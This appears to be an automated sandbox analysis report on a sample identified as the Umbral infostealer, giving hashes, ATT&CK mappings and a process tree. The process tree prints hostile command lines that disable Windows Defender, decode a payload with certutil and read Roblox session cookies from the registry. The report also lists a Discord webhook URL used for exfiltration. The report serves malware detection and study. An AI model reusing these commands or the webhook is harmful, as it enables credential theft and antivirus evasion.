umbral | 1d27b8e069a17744560a4e66050ab43938b1b9b61770854c0becf7bbb39ba546

Analysis

max time kernel
95s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
17-02-2025 20:56

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General

Target

menu.exe
Size

429KB
MD5

d26a02891c33b040f2452d54f579ad48
SHA1

31804768215d8c61ab46d146d47daf87bd67a748
SHA256

1d27b8e069a17744560a4e66050ab43938b1b9b61770854c0becf7bbb39ba546
SHA512

0373fc38527e78164937de7b957d8cb952b03a463c6c6445df294963d9949ac4002f947f0f9cb10d8c054825b1131c250ae7582c9be296afcf5e872eed29a417
SSDEEP

6144:yBlkZvaF4NTBtcfBpUwnEPU8QJRtIHYqmuEU2Go56ACLSaC3mWN9Lg00oQBQDsLy:yoSWNT/m3vneuWHPc6ACmJmKJ0oQWgUr

Score

10^/10

umbral defense_evasion discovery execution spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1337245285906124970/bZ3_ZvAOrPXKKkOLcSzaJTktgaHlH_MDlk4vp0EAIhEj0fgz1GQSR4nw4WAiOieBnrr-

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000d000000023be0-7.dat	family_umbral
behavioral2/memory/208-9-0x0000024CBA150000-0x0000024CBA190000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4196	powershell.exe
1548	powershell.exe
1060	powershell.exe
856	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
208	embedded.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
2816	certutil.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	menu.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3548	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4196	powershell.exe
4196	powershell.exe
1548	powershell.exe
1548	powershell.exe
1060	powershell.exe
1060	powershell.exe
2980	powershell.exe
2980	powershell.exe
856	powershell.exe
856	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	208	embedded.exe
Token: SeDebugPrivilege	4196	powershell.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	1060	powershell.exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeIncreaseQuotaPrivilege	3568	wmic.exe
Token: SeSecurityPrivilege	3568	wmic.exe
Token: SeTakeOwnershipPrivilege	3568	wmic.exe
Token: SeLoadDriverPrivilege	3568	wmic.exe
Token: SeSystemProfilePrivilege	3568	wmic.exe
Token: SeSystemtimePrivilege	3568	wmic.exe
Token: SeProfSingleProcessPrivilege	3568	wmic.exe
Token: SeIncBasePriorityPrivilege	3568	wmic.exe
Token: SeCreatePagefilePrivilege	3568	wmic.exe
Token: SeBackupPrivilege	3568	wmic.exe
Token: SeRestorePrivilege	3568	wmic.exe
Token: SeShutdownPrivilege	3568	wmic.exe
Token: SeDebugPrivilege	3568	wmic.exe
Token: SeSystemEnvironmentPrivilege	3568	wmic.exe
Token: SeRemoteShutdownPrivilege	3568	wmic.exe
Token: SeUndockPrivilege	3568	wmic.exe
Token: SeManageVolumePrivilege	3568	wmic.exe
Token: 33	3568	wmic.exe
Token: 34	3568	wmic.exe
Token: 35	3568	wmic.exe
Token: 36	3568	wmic.exe
Token: SeIncreaseQuotaPrivilege	3568	wmic.exe
Token: SeSecurityPrivilege	3568	wmic.exe
Token: SeTakeOwnershipPrivilege	3568	wmic.exe
Token: SeLoadDriverPrivilege	3568	wmic.exe
Token: SeSystemProfilePrivilege	3568	wmic.exe
Token: SeSystemtimePrivilege	3568	wmic.exe
Token: SeProfSingleProcessPrivilege	3568	wmic.exe
Token: SeIncBasePriorityPrivilege	3568	wmic.exe
Token: SeCreatePagefilePrivilege	3568	wmic.exe
Token: SeBackupPrivilege	3568	wmic.exe
Token: SeRestorePrivilege	3568	wmic.exe
Token: SeShutdownPrivilege	3568	wmic.exe
Token: SeDebugPrivilege	3568	wmic.exe
Token: SeSystemEnvironmentPrivilege	3568	wmic.exe
Token: SeRemoteShutdownPrivilege	3568	wmic.exe
Token: SeUndockPrivilege	3568	wmic.exe
Token: SeManageVolumePrivilege	3568	wmic.exe
Token: 33	3568	wmic.exe
Token: 34	3568	wmic.exe
Token: 35	3568	wmic.exe
Token: 36	3568	wmic.exe
Token: SeIncreaseQuotaPrivilege	4460	wmic.exe
Token: SeSecurityPrivilege	4460	wmic.exe
Token: SeTakeOwnershipPrivilege	4460	wmic.exe
Token: SeLoadDriverPrivilege	4460	wmic.exe
Token: SeSystemProfilePrivilege	4460	wmic.exe
Token: SeSystemtimePrivilege	4460	wmic.exe
Token: SeProfSingleProcessPrivilege	4460	wmic.exe
Token: SeIncBasePriorityPrivilege	4460	wmic.exe
Token: SeCreatePagefilePrivilege	4460	wmic.exe
Token: SeBackupPrivilege	4460	wmic.exe
Token: SeRestorePrivilege	4460	wmic.exe
Token: SeShutdownPrivilege	4460	wmic.exe
Token: SeDebugPrivilege	4460	wmic.exe
Token: SeSystemEnvironmentPrivilege	4460	wmic.exe
Token: SeRemoteShutdownPrivilege	4460	wmic.exe
Token: SeUndockPrivilege	4460	wmic.exe
Token: SeManageVolumePrivilege	4460	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4224 wrote to memory of 1600	4224	menu.exe	85
PID 4224 wrote to memory of 1600	4224	menu.exe	85
PID 1600 wrote to memory of 2816	1600	cmd.exe	86
PID 1600 wrote to memory of 2816	1600	cmd.exe	86
PID 1600 wrote to memory of 208	1600	cmd.exe	87
PID 1600 wrote to memory of 208	1600	cmd.exe	87
PID 208 wrote to memory of 4196	208	embedded.exe	88
PID 208 wrote to memory of 4196	208	embedded.exe	88
PID 208 wrote to memory of 1548	208	embedded.exe	90
PID 208 wrote to memory of 1548	208	embedded.exe	90
PID 208 wrote to memory of 1060	208	embedded.exe	92
PID 208 wrote to memory of 1060	208	embedded.exe	92
PID 208 wrote to memory of 2980	208	embedded.exe	94
PID 208 wrote to memory of 2980	208	embedded.exe	94
PID 208 wrote to memory of 3568	208	embedded.exe	96
PID 208 wrote to memory of 3568	208	embedded.exe	96
PID 208 wrote to memory of 4460	208	embedded.exe	99
PID 208 wrote to memory of 4460	208	embedded.exe	99
PID 208 wrote to memory of 3336	208	embedded.exe	101
PID 208 wrote to memory of 3336	208	embedded.exe	101
PID 208 wrote to memory of 856	208	embedded.exe	103
PID 208 wrote to memory of 856	208	embedded.exe	103
PID 208 wrote to memory of 3548	208	embedded.exe	105
PID 208 wrote to memory of 3548	208	embedded.exe	105

C:\Users\Admin\AppData\Local\Temp\menu.exe
"C:\Users\Admin\AppData\Local\Temp\menu.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4224
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\BA67.tmp\BA68.tmp\BA69.bat C:\Users\Admin\AppData\Local\Temp\menu.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\system32\certutil.exe
    certutil -decode "C:\Users\Admin\AppData\Local\Temp\embedded.b64" "C:\Users\Admin\AppData\Local\Temp\embedded.exe"
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:2816
- - C:\Users\Admin\AppData\Local\Temp\embedded.exe
    "C:\Users\Admin\AppData\Local\Temp\embedded.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\embedded.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2980
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3568
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4460
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:3336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:856
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:3548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
a48a9ce23e2269dd86be64a76e237143

SHA1
42ee9bc168bd3385f45bfdf32b51bcfe88216e75

SHA256
b0ac503791adc874acd9a2a03cd19125254e29ba992b2d97610e3526cfe416cc

SHA512
12cdc861fd68acfbcd393d3df55b9ef715e87fd92a263ce366a254146d87ab3d5f5eb9969e9cffcc0166fac7b43718e1f89132615f78d9d5f82da712be53c62d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
45ad40f012b09e141955482368549640

SHA1
3f9cd15875c1e397c3b2b5592805577ae88a96cb

SHA256
ea3b59172f1a33677f9cb3843fb4d6093b806d3a7cf2f3c6d4692f5421f656ce

SHA512
3de08f8affca1c1450088f560776cf3d65146cadac43c06eb922c7b3cea436e519966cf38458303ffeb1a58c53f8952cffda6c34216fda7594e014b516e83b33

Download Submit
C:\Users\Admin\AppData\Local\Temp\BA67.tmp\BA68.tmp\BA69.bat

Filesize
340KB

MD5
7ea8a4af7da6d665fd522b3e7b984dfd

SHA1
f423bddceac525aa1b6ed85990159621294ecbe4

SHA256
7f3c3a67e583cdfa80dd5028c6cd411f409d68d8475adc8413478bd9985fab91

SHA512
d26e6f1e9b4d23c01e3d22f623dac5574f1c701e5e3195010cba076aecada072e5ca9f88584218aaaac5f8f16238c4b5c0258a34837bbacbe57411fa0fd67f6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_srv30yj2.gvw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\embedded.b64

Filesize
312KB

MD5
f2bf8991b132ba68ab1ef66511589256

SHA1
73c02b189629d2bb34b3c1a19b1e4187d08fea78

SHA256
8f23b22c8983803af707cded52c8cbc48c2b48219a59f5669ddb1e21c665dbd9

SHA512
3e5ac527ef4863d1c7275b6673c26c59364966b9dd534265844b2794515e0a34f8db7851f3146b4c5337327b1244584bcfdc4c7af51291ce22d5b1a1141dc666

Download Submit
C:\Users\Admin\AppData\Local\Temp\embedded.exe

Filesize
229KB

MD5
a3e9f416fa72d1dbd6d3927815899474

SHA1
0fc85c7dc7d5174c3d4e3beeaaaabfe10aa1cb6e

SHA256
c71e662398dddc8f743382970001c64786af9b5da038fa1df2a0b2bffb0294b0

SHA512
d53163d833db1edc0fc3be5f5ec9f4f83fb96b012c79a0c64171d5ec8c15d63bb7235fa57a0ecef4cb423abcc4f3b9f6cd36121cae71661aae7ce0b0a2907c28

Download Submit
memory/208-35-0x0000024CD45E0000-0x0000024CD4630000-memory.dmp

Filesize
320KB

Download
memory/208-34-0x0000024CD48F0000-0x0000024CD4966000-memory.dmp

Filesize
472KB

Download
memory/208-36-0x0000024CD4650000-0x0000024CD466E000-memory.dmp

Filesize
120KB

Download
memory/208-10-0x00007FF93A1B0000-0x00007FF93AC71000-memory.dmp

Filesize
10.8MB

Download
memory/208-9-0x0000024CBA150000-0x0000024CBA190000-memory.dmp

Filesize
256KB

Download
memory/208-73-0x0000024CBA750000-0x0000024CBA75A000-memory.dmp

Filesize
40KB

Download
memory/208-74-0x0000024CD4670000-0x0000024CD4682000-memory.dmp

Filesize
72KB

Download
memory/208-8-0x00007FF93A1B3000-0x00007FF93A1B5000-memory.dmp

Filesize
8KB

Download
memory/208-91-0x00007FF93A1B3000-0x00007FF93A1B5000-memory.dmp

Filesize
8KB

Download
memory/208-92-0x00007FF93A1B0000-0x00007FF93AC71000-memory.dmp

Filesize
10.8MB

Download
memory/208-97-0x00007FF93A1B0000-0x00007FF93AC71000-memory.dmp

Filesize
10.8MB

Download
memory/856-89-0x000001687CC50000-0x000001687CE6C000-memory.dmp

Filesize
2.1MB

Download
memory/4196-20-0x000002AB6B0B0000-0x000002AB6B0D2000-memory.dmp

Filesize
136KB

Download